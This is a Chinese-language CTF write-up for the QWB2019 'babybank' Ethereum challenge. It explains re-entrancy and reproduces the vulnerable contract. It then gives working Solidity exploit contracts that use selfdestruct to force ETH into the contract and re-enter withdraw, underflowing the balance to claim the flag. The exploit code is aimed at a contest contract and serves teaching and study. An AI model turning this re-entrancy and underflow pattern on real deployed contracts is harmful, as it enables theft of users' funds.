Re-Entrancy(1)-QWB2019_babybank

Re-Entrancy(1)

wiki部分

什么是重入攻击

假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。

参考文章
github题目
wp

QWB2019_babybank

合约地址0x666dD57a3aFf9768B08a80c55E2000a0a7740541
攻击账户0x16eBd81c05A40B5D8d52E190819Ef1071E23B1b1

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
pragma solidity ^0.4.23;

contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);


constructor()public{
owner = msg.sender;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 3

function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}

function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}

分析

payforflag函数是我们的目标,但通常都会有限制,这题就一个要求balance[msg.sender] >= 10000000000,要求balance大于一个很大的数10000000000。

profit要求账户后缀为b1b1,同上一篇文章脚本使用即可生成,然后可以让balance,level都+1。

guess函数会验证secret值,而secret值由只能合约所有者调用的xxx函数赋予;且需要level=1,调用一次之后level提升为2,balance+1。

transfer转账函数,一次只能转2,并且要求level[msg.sender]==2。

withdraw函数就是漏洞点了,漏洞很明显存在重入攻击,并且balance可以下溢出,这样就和payforflag的要求对上了。但是这里需要注意一点合约本身没有eth,并且合约代码中并没有相关可以转入ETH的操作,所以需要用selfdestruct强制转入eth。同时函数要求amount==2。

所以攻击流程就出来了。

  • 先部署一个合约通过selfdestruct给题目合约进行转账
  • 然后切换后缀为b1b1的账户先调用profit(),再guess()。profit函数的绕过,可通过脚本(同上篇文章)获取一个符合条件的地址。guess函数的绕过,secret值在合约交易信息中可找到。
  • 利用transfer给攻击合约转账2,攻击合约即可重入

攻击

部署转账合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.23;

contract transfer_contract {
address owner;
constructor() {
owner = msg.sender;
}

function () payable {

}

modifier Onlyowner(){
require(msg.sender == owner);
_;
}

function kill(address to) public payable Onlyowner{
selfdestruct(to);
}

}

转账1 eth

查看题目合约交易信息发现secret为0x123564831521

依次调用profit(),guess函数。查看storage。

部署重入攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.23;

contract exp{

address instance_address = 0x666dD57a3aFf9768B08a80c55E2000a0a7740541;
bool status = false;
uint have_withdraw = 2;

function pay() public {
// withdraw
if(have_withdraw >= 0 ){
address(instance_address).call(bytes4(0x2e1a7d4d), 2);
have_withdraw = have_withdraw -1 ;
}

}

function getflag(string md5ofteamtoken,string b64email) public{
address(instance_address).call(0x8c0320de,md5ofteamtoken,b64email);
}
function() payable {
if (!status) {
status = true;
address(instance_address).call(bytes4(0x2e1a7d4d), 2);
}
}

}

利用transfer函数给攻击合约转2 amount,攻击合约调用pay()即可重入

查看storage,已经下溢出

最后调用攻击合约的getflag即可

可以看到交易中还有一个transfer调用,这是因为在payforflag中还存在owner.transfer(address(this).balance);清空合约余额的操作,可能是为了下一个做题者考虑。